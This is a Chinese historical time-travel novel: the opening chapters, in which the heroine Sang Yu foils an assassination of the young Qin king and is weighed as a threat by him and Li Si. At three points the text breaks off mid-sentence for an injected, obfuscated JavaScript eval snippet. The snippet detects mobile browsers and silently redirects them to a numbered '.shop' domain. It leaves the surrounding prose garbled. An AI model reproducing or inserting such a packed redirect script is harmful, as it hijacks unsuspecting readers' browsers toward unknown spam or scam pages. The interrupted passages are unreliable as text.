《岂曰无衣》 1. 采采 在桑语走下城墙的那一瞬,秦王政六年的第一片雪花飘落而至。 她在马匹旁停下脚步,抬眼看向苍穹,随即扭头对阿九道:“雪一下,只怕后半夜会更冷。你去叫上阿五,回驿馆取些厚衣来。” 阿九领命,转身踏上石阶。不承想雪滑路暗,又兼心头有事,她脚下一个踉跄,险些踩空跌倒。幸有小将士眼明手快,及时伸手扶了她一把。 重新站稳身子后,阿九向小将士道了声谢,走得小心了些。也正是此时,桑语听见她的低语,似乎只是在诉怨天寒。 然而意有另指,桑语怎会不明白! 她们来到咸阳已经半月有余,承担着守城的职责,两班轮换交替,昼夜不敢安心。 “大家都已经累了,快了快了,”桑语轻叹,自言自语,“在乱世里活着,真累啊。” 这场战役终于快要结束了,但是战争还远远不到结束的时候。 眼下已是亥时,家家户户的灯火早已熄灭。寂静的夜晚中,哒哒的马蹄声显得尤为急促。 突然,一声马嘶划破了夜幕,阿九急忙调转马头。 桑语正仰头凝望着黑暗中的某个角落,双眉紧蹙的面容在火把摇曳的光影中时隐时现。 “怎么了?阿姊。”阿九循着她的目光看去,只看见桂树叶影婆娑。 桑语轻轻摇头,“你们先回去吧,关好门早点休息,我有事儿要进宫一趟。”言毕,她扬鞭催马,转眼间没入黑夜深处。 阿九深知,此时若追上去,只会成为桑语的累赘。于是,尽管心中忧虑,她还是选择了听从吩咐。 她将马头一勒,眼角余光扫过那株高大的桂树。 雪夜静谧无风,就连树影都是静悄悄的。 距离这条巷陌数里之外的章台宫,此时却是灯火通明。宫殿门外,宫人们皆垂首静立,尽管困意阵阵,却依旧如绷紧了的弓,不敢有丝毫松懈。 殿中四角生着火盆,盆中刚添了新炭。火苗熊熊,驱散了寒冷。 漆木大案旁,一位少年跽坐于地,身着丝帛玄衣,眉宇间透露出肃穆之气,面色却有些异样的苍白。 在他下方的位置,同样摆放着一张几案,端坐着一位身着黑袍的中年男子。这位男子身材适中,面容庄重,双手在竹简上迅速而熟练地挥动着。他是李斯,秦国的长史。 李斯将陶削挂回腰带,随后双手捧起竹简递与少年。少年仔细看罢,点着头说道:“命斥候快马送去蕞城。” 说话的少年,正是未来的大秦帝国的主人——秦王嬴政。 秦王政随即取过一方铜印,重重地盖在文书上,然后将竹简卷起,装入铜管封存。 “祖宗百年之宗社,守住了。”秦王政说着,紧接着便是一阵剧烈的咳嗽。咳嗽声在沉寂的大殿里回荡着,令李斯实在有些担忧。 他想起一个月前,那天狂风呼啸,青铜鹤形灯里的烛火颤巍巍地摇晃着,秦王政背手站立在沙盘旁,声音缓慢而又清晰: “国灭,则君死之。寡人死不足塞责,只愿卿等守住雍城。雍城,乃我大秦根基之地,绝不可落入敌手。” 彼时秦国正面临存亡之危,秦军主力被楚军牵制在了函谷关,赵将庞煖则统领数万精锐直扑蕞城。 蕞城作为咸阳东面的屏障,一旦失守,联军便可长驱直入,届时咸阳城内免不了一场生灵涂炭。 鏖战多日,咸阳城中辎重匮乏,兼之又有谣言四起,一时之间,人心莫不惶惶。秦室宗亲多往雍城暂避,秦王政则是与一众臣工共守咸阳。 李斯身为长史,时常侍奉在君王左右,然而他只知道大王病了,至于究竟病得如何,恐怕只有太医令说得清楚了。 秦王政每日听政如常,即使是在入夜之后,章台宫中的商议声仍久久未曾平息。 李斯将铜管掩在袖下,语重心长地劝道:“君上为国事计,亦宜仔细身体。夜色已深,君上还是早些歇息为好。” 秦王政揉了揉酸涩的眼眶,将目光转向寺人巽,“给长史拿个手炉来。” 寺人巽恭敬地应诺,再折回来时,手中捧着一个精美的青铜兽面花纹手炉。 李斯叩地谢恩,接过手炉后,便起身告退。 步出大殿,他的步伐逐渐放缓了,举目望去,远处的屋檐之上已经积了一层厚厚的雪。 李斯伸出手,有雪花落在他的手心,又逐渐消融逝去。他虽倦容满面,眉眼间却是浮上了一丝喜慰。 此刻,他突然又想起了那只厕中鼠,不知它如今是否也像自己一样,已经逃离了污秽之地,来到了粮仓之中。 李斯踩着雪地,听着脚下的声响,感悟着天地之寥廓。他往前走着,骤然瞧见一道红色的身影飞快地掠过,似乎是朝着大殿的方向而去。 “山……山主?” 他的声音散在突起的风中,并未得到任何回应。 李斯心中一紧,疾步追去。 此时的殿内极静,地上跪了一片。只有郎卫蒙毅右手紧握长剑,剑尖正对着一位年轻女子的脖颈。 此女约莫十四五岁,一身宫人打扮。她箕坐于地,一副要杀要剐悉听尊便的决绝姿态。 众人皆屏息凝神,静待着君王的怒火。秦王政却是微阖着双目,端然稳坐,如入睡了一般,仿佛对眼前的刺客毫不在意。 “别等了,你的同伴们已经全部被制服了。”桑语手提长矛大步走进殿中,向那名女子说道,“你不必用这样的眼神看着我,他们并非我所杀,甲士们也不过是尽守卫之责。况且,在你们做出决定之时,就应该预见到可能会有这样的结果。” 李斯这时也走了进来,匆匆扫视了一眼,最后将目光落在了秦王政身上,“君上可安好?” “寡人无事。”秦王政睁开眼来,起身踱到玉阶之下,缓缓走至桑语跟前,“山主孤身来救,寡人甚是感激。” 言语间,他刻意地将重音落在“山主”二字之上。 桑语忍住想要翻白眼的冲动,垂眸说道:“救人于凶险,乃是我玄女山所应为,何况大王的安危关乎天下万民。” 她的话音刚落,那名女刺客脸色骤变,“你……你……玄女山山主?” 桑语略有迟疑,但还是点点头。 女刺客颤抖着手,指着桑语的鼻子怒骂道:“世人皆道你是如何如何救护苦命人,对你敬若神明,谁知你竟是如此臧获小人!为虎作伥,助暴秦为孽,桑语,你终将不得好死,” “蒙毅,卸了她的下巴!”秦王政脸色阴沉,目光如冰雪寒彻。 蒙毅应了一声“诺”,但就在他准备动手之际,桑语却开口道,“别,让她骂吧。骂够了,她就不骂了。” “呸!假惺惺!”女刺客狠狠地朝桑语啐了一口,“趴在地上做了狗,这一辈子都是狗!桑语,你何需沦落至此?” 女刺客定定地看向桑语,当二人目光交汇时,她眼底的怒意却悄然散去了,剩下的只有无尽的悲哀。 莫名地,桑语有些不敢看她的眼睛。这样的眼神,她很熟悉,也很害怕。 桑语将长戈轻轻搁下,席地而坐,与女刺客面对面。 “能告诉我你的名字吗?”桑语温和地问道。 女刺客掀起眼皮,看了看秦王政。随后,她像是下定了什么决心一般,开口回道:“采采,采采卷耳。” 桑语还想问她是从何处来,但是话到嘴边还是吞了回去。然而这时,秦王政沉声问道,“汝,是卫人?” 虽是疑问,却是肯定的语气。 采采有了明显的慌乱,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163455|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无异于是不打自招。 秦王政冷笑了一声,“蕞尔小国,惯会左右逢源,然内政不修,以致国弱民愚。尔等潜入咸阳,企图行刺,是害怕寡人忘记了还有个卫国么?” 他的声音很轻,一字一句,却是直接击溃了采采。 采采的脸上骤然失去了血色,她的双眸充斥着悔恨。她绝望地意识到,卫国会因为他们的愚蠢而陷入绝境。 他们这群可怜的傻子,单纯地听信了奸人的话术,以为只要他们能够杀死秦王,就可保卫国无亡国之险。 于是她被安排进宫做了侍女,秘密蛰伏在了章台宫之中。那人让她耐心等待时机,结果一等就是一年之久。终于,五国合纵攻秦,咸阳城中兵力不足,那人命令他们趁机动手。 在宫里的采采,与在宫外的卫人们,形成里应外合之势。这样的计划绝对不是天衣无缝,但值得一搏。 可是他们都低估了秦王,在泥泞中长大的少年,总是保持着如临深渊的警惕。 蒙毅得了秦王政的示意,默默地后退一步,将剑收入鞘中。 采采换了跪坐之姿,上身直起,“罪在我等,非卫国之过。采采愿受任何处罚,只求大王仁慈,勿攻卫国。我……我可以告诉大王,那个幕后主使者的模样。” 秦王政依旧居高临下地看着她,“寡人仁慈?真乃笑话!都说秦人是虎狼,虎狼若是仁慈了,岂不是成了狸狌野犬?” “等等,等等。”桑语听得有些糊涂,“抱歉,请容我插句话!你们说的,是康叔的封地卫国,还是三家分晋的那个魏国?” 秦王政回答道:“康叔的封地卫国。” 被桑语这么一打岔,他眼底的厉色消散了许多。 桑语只是轻轻地应了一声“哦”,而后便不再说什么了。 “山主!”采采微笑着唤她,眼中似有莹光流转,“适才口出无礼,还请山主见谅。”她说着,向桑语磕了个响头。 桑语连忙伸手扶她,“别别别,不过年不过节的。” 采采反握住了桑语的手,倾身靠近,“山主收留亡奴,救济苦人,采采心甚敬佩。如今援助暴秦,定有诸多无奈。若有一日卫国……国破,还请山主能伸出援手。王与王角力,百姓何其苦。” 她的声音颤抖,几乎在恳求。 桑语看着眼前这张稚嫩而坚毅的脸庞,内心感到一阵难过。她想说些什么,嘴却是像被粘住了似的,怎么也开不了口。 一滴泪,悄无声息地落在了桑语的手背上,滚烫而灼热。采采松开了手,又拜了下去。 “好……”桑语刚一开口,便有些哽咽,“我答应你。若是有能帮的,我桑语定会竭力而为。” 她心里清楚,这番话必定会加深秦王政对她的忌惮。但是她不后悔,这就够了。 采采笑着说了声“谢谢”,话音还未落尽,嘴角处突然涌出黑血。她的脸庞变得扭曲,最终大睁着眼睛倒下了。 这变故突如其来,桑语下意识地想要抓住采采的胳膊,却抓了个空。 蒙毅蹲下身子,用手指探了探鼻息,然后对秦王政摇了摇头。 秦王政看向桑语,她的脸色有些凝重,目光紧盯着采采,不知在想些什么。他将视线转向蒙毅,“准备几口棺木,将他们都安葬了吧。” “他们”,指的是还有死在王城外的那几名卫人。 采采的尸体很快就被处理掉了,地上的血迹也被清理得没有半点踪影,整个宫殿又恢复了平静。熏香袅袅,人的身影都显得模糊了。 桑语接过宫人递来的帕子,将脸上的血点儿擦净。她缓缓站起身,双腿有些麻木,“刺客已死,若大王没有其他吩咐,我就告辞了。” 秦王政微微颔首,“李斯,替寡人送桑山主出宫。” 2. 王诏 翌日卯时,李斯就进了宫。 秦王政站立在巨幅舆图前,身姿挺拔如苍松般傲然。 这位秦国的第六任君王,尽管才十九岁,却已隐隐显出几分王霸之气。 李斯放轻了脚步,走到秦王政身后,停下。他将目光也落到了舆图之上,“君上在忧虑何事?” 秦王政依旧沉默了半响,这才幽幽地说道:“秦军胜利在望,诸将不日就可班师回朝。寡人在想,桑山主,何去何从?” 李斯闻言,想起昨夜走在宫中甬道时,桑语与自己的那番对话。他稍稍思忖后,缓缓说道:“桑山主,似乎对稷下学宫甚有兴趣。” “哦,是吗?”秦王政转过身来,“她是如何说的?” 李斯这才发现秦王政的眼中布满了红丝。昨夜他回府之后,匆匆睡了一两个时辰,而秦王政显然又是通夜未眠。 “山主问臣,如今的祭酒是谁。她还说,希望此生有幸,能亲耳聆听荀卿讲学。” 秦王政闻言,由衷地感慨道:“桑语此人,奇也,怪也。” 细细想来,关于桑语的故事,确实有些骇人听闻。一个桃李年华的女子,被诱拐至贼巢后,不仅手刃了匪首,并且煽动了尚存良知者的反抗。 那时的玄女山还被称为“青龙山”,匪众聚集,作恶多端,杀人掠女的行径罄竹难书,民多畏惮不敢近。 桑语正式成为山主后,用绳子将恶匪们捆粽子似的绑在一起,一并送去了官府。 个别罪重的,被砍了头。其余的,被送去修长城了。 青龙山不再肆意作乱,当地的官吏们也就睁一只眼闭一只眼。可是很快,这种微妙的平衡,被彻底地打破了。 青龙山开始收容“亡奴”。 那些奴隶的主人们眼见同青龙山交涉无果,便逼迫官兵攻山。 无论是奴隶主,亦或是官兵,他们都认为区区女流之辈不足为惧。谁知进山后却连遇诸多诡事,最终只能狼狈地下了山。 不知自何日起,“青龙山山主是九天玄女降世而来”的说法不胫而走,并且越传越邪乎。因此,“青龙山”成为了“玄女山”,桑语更是声名大盛。 秦王政所忌惮的,正是桑语所拥有的“声名”。若是直接除掉她,恐怕会背负天下的骂名,岂不是正中了某些人的下怀。可若是不除桑语,秦王政始终无法安心。 李斯觑了一眼秦王政的脸色,“彼时民心不稳,幸得桑山主出山相助,既安抚了民心,又缓解了咸阳兵力不足的燃眉之急。桑山主虽不曾亲手杀敌,但其功不可泯。” 说着,他将话锋一转,“桑山主深居山野,却身负‘玄女降世’之传说,天下几乎无人不识。若有朝一日,她生了谋逆之心,响应者必多,秦国上下将不得安生。” 秦王政叹了口气,走至大案前,“寡人正是有此担忧。放虎归山,恐终为患。” 李斯在下首坐下,“卫女临终之言,君上也听到了。桑山主在天下人心中之美名,绝不逊于任何名士。臣昨日与桑山主交谈,虽不过寥寥几句,却令臣极为叹服。此人若是能为秦所用,或许,可助君上成为全天下的王。” 窗棂响动,有风吹进来。随风而来的,是一股淡幽的梅香。屋内烛火闪摇着,黑沉沉的人影投在墙壁上,变得巨大而折曲。 秦王政忽然想起,几日前他去巡视城楼,偶然间听到桑语的自言自语。 她说,又是一年梅花开,不知咸阳城的梅花是否有什么独特之美。 秦王政收拢心神,召寺人巽进来,“你去看看,今年的梅花开得如何了?” 寺人巽领命,恭敬地退下了。 李斯意味深长地看了秦王政一眼,道:“君上,关于桑山主何去何从,臣有一策,不知可行否。” “说来寡人听听。” “自古以来,各国之邦交,常以‘结秦晋’为手段。桑山主才貌皆备,若是君上能迎她入后宫,倒不失为一段佳话。” 他话音还未落,秦王政已经皱着眉头打断,“不可!” 李斯略顿了顿,“臣思虑欠妥,桑山主是天上的苍鹰,此举倒是成了戏辱。只是,若是想要将桑山主留在咸阳城,需得一个明面上能服众的理由。桑山主于秦有功,封爵封官,倒也是合情合理。” 说到这里,他忽然停了下来。秦国百年以来,无论文臣还是武将,从未有过女子的身影。 秦王政拢了拢袍袖,知他心中所想,“桑语以女子之身,因功授官,从此以后不就有了先例吗?爱卿所忧之事,不足为忧。” 李斯闻言笑道:“原来君上心中早就有了打算!” 秦王政将手边的一卷竹简递给了李斯。李斯接过一看,是一份尚未完成的王诏。 李斯思忖片刻,搁下竹简,“太卜丞,君上以为然否?” 秦王政想了想,拈笔沾墨,在竹简的空白处写下了“太卜丞”三字。 秦国设有太祝、太史、太卜等官,皆为奉常的属官。奉常掌宗庙祭祀礼仪,太卜的职责则是为君王进行卜筮。这个官职,重要又不重要。在事关大局的国事之中,显得无足轻重。然而这是个敬神不信神的年代,“太卜”被视为与神对话的存在,因此显得神秘而又神圣。 俟墨迹干尽,秦王政将竹简卷了,用红色的布条系好,随手搁在桌案上。 李斯问了个重要的问题,“桑山主若是不愿,如何?” “不能用,那就应当杀掉。” 秦王政眼眸未抬。 李斯也不再多语。 秦王政又递给李斯另一卷竹简,不同的是,这份竹简之上并无一字。 “这是?” “由你来起草诏书,再命人送去给蒙老将军。”秦王政说着站起身来,走回舆图前,手指指向“卫国”的位置,“联军将被瓦解,秦,何不乘胜追击?向东进攻,一举拿下濮阳,至此便可兵临大梁。” 这是他思考了一夜的想法。 李斯随着秦王政手指的方向,看到了兵戈厮杀。良久,他摇头叹了口气,“君上之计划,利于东出。然,秦魏大战于大梁之际,赵国可能会顺势坐收渔翁之利,将黄河以北的魏地尽收囊中。” 秦王政的确一时忽视了这些。他凝神想了片刻,“卿所言极是。不如这样,将卫君迁徙至野王,将濮阳并入东郡,以保魏之河内。寡人觉得,秦国东出,首要是灭韩。若要灭韩,必先攻灭赵国,以防它趁机生事。至于魏国,倒是不必着急,可徐徐图之。” 李斯敛容拱手,“君上未冠之年,便有如此谋略,秦之大幸也,天下之大幸也。” 秦王政轻笑,“卿不必如此谬赞,拟诏书吧。” “诺!”李斯走回案边坐下,挽袖濡墨,提笔,又搁下,“此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163456|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,君上是否应该与相邦商议之后,再做定夺?” 秦王政脸色骤然一沉,不过也就一瞬而已。 “你亲往函谷关一趟,好好与相邦商议此事。若是相邦答应了,再将此诏书交给蒙骜。若是相邦不同意,”他重重闭眼,深吸一口气,“若是相邦不同意,那就……算了。” 李斯垂首说“诺”,拈笔便写。 已至巳时,天边云层厚厚堆积着,似乎又要下雪了。 阿九将厚衣披在桑语的身上,关切地问道:“阿姊昨晚为何没有回驿馆?” 桑语从远方收回目光,看向阿九。阿九眼下的乌青,昭示着一夜未眠。桑语顿时心生愧疚,“抱歉啊,我离开王城时,已是后半夜了。想着反正睡不着了,就直接回了城楼。是我的疏忽,我忽然往王城去,定会叫你心里见疑,我当时应该告诉你一声,让你不必等我回去。” 阿九四处张望了一下,朝桑语靠近了些,压低了声音问道:“阿姊,昨晚究竟发生了何事?你为何会突然急匆匆地往王城去?” 听她问起昨日,桑语犹豫了片刻,还是将昨晚在章台宫中发生的事情简明扼要地讲述了一遍。 阿九听完之后,沉默了好一会儿,“阿姊为何要去救他?秦王是生是死,与我们无关。” 桑语倚在雉堞上,看起来有些疲惫。她问阿九,“你可还记得,我们为何会来到咸阳?” “记得!”阿九垂下眼眸,“秦使献上了一卷布书。布书上所绘,乃是玄女山的地形布防图,其中还特意标注了各处岗哨、粮草重地。” 桑语点头。 那封布书,相当于是“最后的通牒”。如果桑语再不出山,等合纵军退兵之后,秦王必定会秋后算账。 桑语微阖着眼睛,“树影无风而摇曳,眼下又是多事之秋,定是有人动了歪心思。可怜那几个卫人,看起来还只是半大孩子,有拳拳爱国之心,奈何年轻缺乏阅历。我之所以出手,不是为了秦王,而是为了玄女山。那几个孩子,并非训练有素的刺客。□□,也绝不会因这么一桩小事而丧命。但若是他真的受了伤,他就拥有了一个绝佳的借口。” 阿九正认真地听着,桑语却突然停下不语。阿九急切地问:“什么绝佳的借口?” 桑语睁开眼来看向阿九,少女的脸庞清秀而倔强,和采采一样。桑语站直了身子,拢了拢厚衣,“秦为刀俎,我为鱼肉。欲加之罪,何患无辞。” 阿九意识到了事情的复杂,当即忍不住揣测道:“所以,阿姊,秦王遇刺一事,会不会是他自己刻意设下的圈套?” “不,应该不是。”桑语的眉头微微拧起,“权势面前,谁能甘心只做个封君?王与王角力,百姓何其苦。” 桑语其实刻意掩藏了一个秘密。 她并没有欺骗采采,她没有杀任何一人,反而是偷偷放走了一人。 尽管当时有些冒险,但在那一瞬之间,桑语还是毅然做出了决定。 桑语摸了摸腰间的长剑。 在她拜师的那天,师父就教导过她,学武是为了保护弱小,而非打打杀杀。 她的剑,只用来劈过竹子。 如今却沾染上了血腥味,怎么擦也擦不干净,她真的很不喜欢。 然而,这是乱世,一切都是为了生存。 桑语抬头望去,阴云似乎又浓郁了几分。 3. 庞煖 历史的指针拨到了公元前241年,统一六国的“秦始皇”如今才即位六年。 秦国虽在长平之战中大胜,然而这场战争持续了三年之久,秦卒亦死者甚众,秦国一时之间难以从“国虚民饥”的泥沼中走出。而后自昭襄王薨逝,四载之间,秦国连丧三王。 势头正猛的秦国,不得不蛰伏了起来,将“东出函谷”的脚步暂时放缓。 这给了关东六国最后的机会,赵将庞煖上书赵王,请求重新发动六国合纵攻秦。除齐国偏安苟且,楚、赵、魏、韩、燕五国达成了合纵攻秦的盟约。 五国联军推举庞煖为统帅,以楚王为纵约长,数十万士兵浩浩荡荡地向函谷关开进。 庞煖师从鹖冠子,既通兵法,又精于纵横术。他曾受用于赵武灵王,沙丘之乱后隐世,如今已是耄耋之年。庞煖总结了数十年间几度合纵失败的经验教训,他深知崤函之固,遂决定绕道蒲阪,南渡黄河,迂回至函谷关后,打了个秦军措手不及。 联军依计行事,楚春申君率部攻打函谷关,牵制住了秦军的主要兵力。而庞煖则率领精锐之师,迅速向蕞城进发。如此分兵战略,可以有效地牵制对方的兵力,很快就达成了合纵军预想的战略效果。然而,其弊端也正在于此,它会分散己方的兵力,使得兵力部署失去了失衡。 合纵军想要擒住□□,可就算是秦国灭亡了,中原大地上还会有第二个“秦国”。 秦军的主帅吕不韦正是借此心理,命数千名轻装锐士夜袭楚军大营,楚军措不及防,随即溃败。春申君黄歇毫无恋战之心,迅速率残部逃回了楚国。 面对如此变局,魏、韩、燕三国选择了尽可能地保存自己的力量,相继撤军。 无论庞煖如何善纵横,联军已经彻底成为了一盘散沙。在离胜利只有一步之遥的关口,五国选择了投降。 返回赵国的路上,雪花落得又密又急。负伤的赵卒艰难地跋涉在积雪中,神情沉郁。 马上的赵将突然仰天长叹:“天数如此,奈何!奈何!” 铁骨铮铮的汉子,此时泪随声下。 “非天数也,人心矣!”庞煖苍老混沌的眼中竟也闪着泪光,他回头望向秦国的方向,“以后,再无这般的时机了。” 庞煖知道自己已经垂垂老矣,率领赵人灭秦的梦想,恐怕再也不可能实现了。 在鬓发如墨的年华里,他明明可以笑傲沙场,可却被君王遗忘。 深谷幽兰虽无人识,却不敢敛芳华。 一年,十年,二十年……五十三年。 流逝的岁月化为了脸上的皱纹,鸿鹄大志逐渐涅灭在霜白的鬓角中。 终于,赵王想起了他。 庞煖重新穿上了甲胄,将白发梳得整整齐齐,他好像又回到了意气风发的年轻时代。 老将未减当年勇,终于,他大胜燕将剧辛,俘虏两万多燕军,更是成为了五国合纵军的统帅。 世事皆是因果际会。假如没有这次的“蕞之战”,庞煖或许会随着历史湮没在时光的旋涡中,成为被遗忘的尘埃。 即使其光华短暂如昙花,他终究是留下了辉煌的一笔。 咸阳城,桑语正坐在酒肆里,漫不经心地听着阿九讲述着吕不韦破敌的故事。 “阿姊?”阿九忽地凑近,“你在想甚?” 桑语从酒觞中抬起眼来,“这些消息,你都是打哪儿听来的?” “近来咸阳城里四处都在说这些故事。” “人们所议论的,大多是围绕着吕不韦?” 阿九仔细地想了想,“好像……是的。”她瞧见桑语脸色严肃,诧异地问道,“阿姊,怎么了?有何不对?” 桑语摇了摇头,“吕相邦,的确不易。” 然而愈多的赞誉,于他这个相邦而言,是愈发危险的处境。 少年君王野心勃勃。替舜驯兽的老秦人的血气,蛰伏在他的血液之中。 他要做的,是秦国的王,是天下的王。 秦国暂且需要吕不韦,所以赞誉的声音能够如同歌谣一般遍至咸阳城。而当君王主国之时,他迈出的第一步,就是罢相。 阿九将酒觞斟满了,“我先前只听说过廉颇、乐乘和李牧的大名,并不知有庞煖这样的人物。听说这位庞老将军已有百岁之龄,竟然还能披甲上马,确实令人敬佩。” 桑语若有所思地瞥了她一眼。 阿九出生在赵国,自幼如同斗兽一般被豢养和训练。等她长到十岁的时候,就被贩卖去了齐国。 桑语永远也忘不了第一次见到阿九的情景:骨瘦如柴的女子的脸上沾着血与泥,眼神凌厉警惕,像是刚从地狱里爬上来似的。 阿九之所以名为“阿九”,是因为在那批同龄的奴隶中排行第九。她们没有名字,也不配拥有名字。她们互相残杀,供那些达官贵人们取乐。活着,几与犬彘无异。死了,也不过是一张破席的事儿。 有屈服于命运的,自然也有敢于反抗的。 十数名奴隶合力杀死了她们的主人,然后往西逃跑,一直逃到了玄女山。见到桑语时,只剩下了两个活人——阿九,阿五。 桑语曾经提起过让她们换上新的名字,希望她们能够忘记过去的痛苦和羞辱。但是她们拒绝了,仍然用旧时的称呼。 桑语最近一直在想,对于赵国,阿九和阿五究竟会是怎样的感情?是无尽的怨恨,还是偶尔有几分对故国的怀想? “无论春秋还是战国,诸国的将领们皆是天纵之才,战时可统率千军作战,闲时则燕居闲谈论道。然而社会激变动荡,他们的命运,又往往带着遗憾和宿命的悲情色彩。高贵的品格,或许只会让他们的境遇变得更加糟糕。庞煖如此,廉颇他们亦是如此。” 桑语不急不缓地说完这么长的一段话,正端起酒觞来啜了一口,听得阿九问道:“阿姊,战国在何方?好生霸道的名字!” 桑语顿时呛得连声咳嗽,立时意识到自己说错话了,她干笑两声,“这……这个,‘战国’并非某个国家,而是……而是指中原大地上所有的国家。无一国无战事,所以叫‘战国’嘛。” 阿九恍然大悟般地“哦”了一声。 楼下忽的有些喧嚣,二人相视了一眼,相继起身走出房间。凭栏向下望去,鼓乐齐作,街道两旁是箪食壶浆的百姓,身着红黑色皮甲的秦军们整齐地列队走过,人群中高唱道: “岂曰无衣?与子同袍。修我戈矛,与子同仇!岂曰无衣?与子同泽……” 歌声嘹亮有力,和着冷冽的寒风,久久回荡在咸阳城上空。 桑语眼尖地瞧见,队尾的一个小将士偷偷地抬手抹泪。 或许此时,他想起了那些曾经并肩作战,却永远无法归家的兄弟们。 桑语想起了怪老头曾说的一句话:文字之轻,无法承载历史之厚。 “王?”阿九望着战车上飘扬的“王”字大旗,疑惑地转向桑语问道,“这是哪位将军?” 桑语顺着阿九的目光望去,看到一位盔明甲亮的将军站在战车上。两鬓斑白的中年人,气场却是温和的。 “秦国姓王的大将,倒是有好几位。不过看此人的年纪,应该是,王翦将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163457|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 队伍走过去了,歌声也远去了。 桑语抻着脖子望向城门方向,前来迎接秦军的黑袍官员们已经纷纷离去。她颇有些遗憾,未能见到历史故事中赫赫有名的“蒙骜将军”。 二人回到房间后,桑语突然问道:“我们派出去的探子,最近有什么消息吗?” 阿七摇摇头,“是我等无用,未发现任何行为举止古怪之人。” “不必着急,日子还长着哩。”桑语用左手拨动着右手手腕上的木珠,更像是自言自语。 几日前,秦王政亲去雍城,也是在那天,他命人转告桑语,咸阳城已经不再需要玄女山的驻守了。 桑语乐见如此,她命所有人撤回驿馆中休息。秦王政并未言明他们可以离去,桑语也不好擅自离开。反正驿馆里有吃有喝的,又无什么闲杂人等,日子倒也不难熬。 然而,人突然闲了下来,就容易多想。这段时间里,桑语总是整夜整夜地回忆往事。想起高楼大厦,想起火锅麻辣烫…… 若是问她是否想念那个时代,她或许已经无法给出一个确切的答案。 桑语生来就是为了习武,是为武术而生的——几乎所有人都这么说。因此她自幼便离开了父母的怀抱,只知潜心练武。 师父常言,习武者,见自己见天地见众生。桑语在师父的大道理中长大,然而她始终未曾明了自己为何而活,只是不断地按照他人的期望塑造自己。 在先秦的这两年时光中,她仿佛找到了活着的意义。 她为玄女山而活,哪怕没有一日清闲。 彼时她想创建一个乌托邦,后来现实让她明白了,恶浊乱世中怎能容得下“桃花源”? “阿姊昨日便说想看秦军凯旋还师的场景,怎么今日反而兴致怏怏?”阿九与桑语相处久了,一眼便能看出她掩藏着的疲惫。 桑语只是抿唇笑笑,并未说话。 阿九拿起一块饼,咬了一口,若有所思地问道:“阿姊你说,韩、燕、魏、赵,会不会因此恨死楚国?毕竟是楚国先跑了,其余四国才不得不纷纷回师。” 桑语沉吟了片刻,“他们心中自然有怨气,毕竟各国都已付出了不少牺牲,但更多的可能是担忧。楚军只是临阵脱逃,那还算是好的。四国所担忧的,是秦楚之间有什么见不得人的勾当。” 她说着说着,忽然想起来,此次合纵攻秦的楚将中,有一人名为项燕。以项燕的骨气,恐怕是春申君命人将他绑住,然后强行被带回楚国。 项燕目前还年轻,在军中并无多大的话语权,于秦国而言绝非是劲敌。但是没有人知道的是,项燕会有一个孙子,名唤项羽。 思及此,楼下明明一片祥和,桑语却嗅到了死亡的气息。 忽有火团滚滚而来,原本嬉笑的人瞬间被火团吞噬,幸运者纷纷尖叫躲避。天空被烧成火红一片,漫天飞舞的黑灰张牙舞爪着。 火团渐渐分裂成了无数的小火球,并以极快的速度砸入窗棂……桑语顿时浑身一惊,从想象中清醒过来,回归现实。 她拍拍心口,定了定神,抬眼就看到阿九一脸疑惑的神情。 桑语轻咳了一声,她呷了一口酒,继续说道:“庞煖将军,定会将怒气撒在齐国身上。如今秦国已然一家独大,关东六国更应该同仇敌忾。齐国想作壁上观,这简直是奢望。” 阿九点了点头,眼神里却疑惑不减,“阿姊,我还有一事不明。如此合纵大事,赵国为何不用廉老将军?庞煖将军虽也是用兵如神,但廉老将军曾与秦作战数回,对秦军的了解不是应该更深吗?” 4. 盘古 桑语凝起目光,“廉颇手中有兵,将士服顺于他,臣工敬他惧他。这样的人,最是容易引来小人嫉妒,君王忌惮。也亏得是赵国将才辈出,廉颇、乐乘去国,李牧在北境与匈奴苦战,尚能冒出个庞煖这样的人物。庞煖久不经沙场,但就凭他能想到‘绕袭蕞城’的妙计,其手段之老辣,绝不在李牧之下。秦乃赵国世仇……” 阿九难得地打断了她的话,“天下战乱百年,各国之间,谁无血仇?不必觉得委屈,也不必标榜自己是个圣贤。” 桑语完全没有想到阿九会有如此想法,毕竟,不同时代的人在看待同一件事情的观念上会有着莫大的差别。她还在愣怔,阿九问她道,“阿姊,我们何时才能回家?” “秦王回咸阳了吗?” “昨日就回来了,同行的还有秦相吕不韦。” “怎么没人告诉我?” 